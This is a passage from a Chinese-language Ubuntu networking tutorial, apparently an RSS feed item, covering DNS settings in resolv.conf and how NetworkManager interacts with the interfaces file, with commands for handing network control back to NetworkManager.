修改 DNS&lt;/strong&gt; &lt;strong&gt;打开/etc/resolv.conf&lt;/strong&gt; &lt;strong&gt;sudo vim/etc/resolv.conf&lt;/strong&gt; &lt;strong&gt;改为如下内容：&lt;/strong&gt; &lt;strong&gt;searchlocaldomain #如果本Server为DNS服务器，可以加上这一句，如果不是，可以不加&lt;/strong&gt; &lt;strong&gt;nameserver172.16.3.4 #希望修改成的DNS&lt;/strong&gt; &lt;strong&gt;nameserver172.16.3.3 #希望修改成的DNS&lt;/strong&gt; &lt;strong&gt;(3) UbuntuServer 最后一步，也是最重要的一步&lt;/strong&gt; &lt;strong&gt;在rc.local里加入这个重启网络配置的命令：&lt;/strong&gt; &lt;strong&gt;sudo/etc/init.d/networking restart&lt;/strong&gt; &lt;strong&gt;【Desktop版本】&lt;/strong&gt; &lt;strong&gt;在Desktop版本中，除了可以修改/etc/network/interfaces来进行配置以外；还可以直接在network-manager中配置。通过 interfaces修改的方法参照Server版本。network-manager的配置和直观，按照提示一步一步操作即可，有兴趣的朋友，可以自行Google或者Baidu。&lt;/strong&gt; &lt;strong&gt;但如果修改了interfaces，又配置了network-manager（以下简称nm），你就会发现出现了一些莫名其妙的问题：&lt;/strong&gt; &lt;strong&gt;1，interfaces和 nm中的网络设置不一样，系统实际的IP是哪个？&lt;/strong&gt; &lt;strong&gt;2，有时候莫名其妙的，界面右上角的网络连接图标就丢失了。&lt;/strong&gt; &lt;strong&gt;3，明明在nm中配置了正确的网络设置，为什么就上不了网呢？&lt;/strong&gt; &lt;strong&gt;其实，我们要知道 interfaces和 nm之间的关系，这些问题就不难解释了。&lt;/strong&gt; &lt;strong&gt;首先，当系统内没有第三方网络管理工具（比如nm）时，系统默认使用interfaces文件内的参数进行网络配置。（就像Server版本一样）&lt;/strong&gt; &lt;strong&gt;接着，当系统内安装了 nm之后，nm默认接管了系统的网络配置，使用nm 自己的网络配置参数来进行配置。&lt;/strong&gt; &lt;strong&gt;但是，如果用户在安装nm之后（Desktop版本默认安装了nm），自己手动修改了interfaces 文件，那nm 就自动停止对系统网络的管理，系统改使用interfaces 文件内的参数进行网络配置。&lt;/strong&gt; &lt;strong&gt;此时，再去修改nm 内的参数，不影响系统实际的网络配置。若要让nm 内的配置生效，必须重新启用nm 接管系统的网络配置。&lt;/strong&gt; &lt;strong&gt;现在知道了两者之间的工作关系，再看上面的三个问题：&lt;/strong&gt; &lt;strong&gt;1，要看nm是否接管，如果没有接管，系统实际的IP设置以interfaces 中的为准。反之，以nm 中的为准。&lt;/strong&gt; &lt;strong&gt;2，当nm 停止接管的时候，网络连接图标就丢失了。&lt;/strong&gt; &lt;strong&gt;3，同样是接管的问题。&lt;/strong&gt; &lt;strong&gt;如果用户希望在Desktop版本中，直接使用interfaces 进行网络配置，那最好删除network-manager 。&lt;/strong&gt; &lt;strong&gt;如果在出现上述问题之后，希望能继续使用nm 来进行网络配置，则需要进行如下操作：&lt;/strong&gt; &lt;strong&gt;sudo servicenetwork-manager stop # 停止 nm服务&lt;/strong&gt; &lt;strong&gt;sudo rm/var/lib/NetworkManager/NetworkManager.state # 移除nm 的状态文件&lt;/strong&gt; &lt;strong&gt;sudo gedit/etc/NetworkManager/nm-system-settings.conf # 打开nm 的配置文件&lt;/strong&gt; &lt;strong&gt;##里面有一行：managed=true&lt;/strong&gt; &lt;strong&gt;## 如果你手工改过/etc/network/interfaces，nm会自己把这行改成：managed=false&lt;/strong&gt; &lt;strong&gt;## 将false 修改成true&lt;/strong&gt; &lt;strong&gt;sudo servicenetwork-manager start&lt;/strong&gt;&lt;/p&gt;</description></item></channel></rss>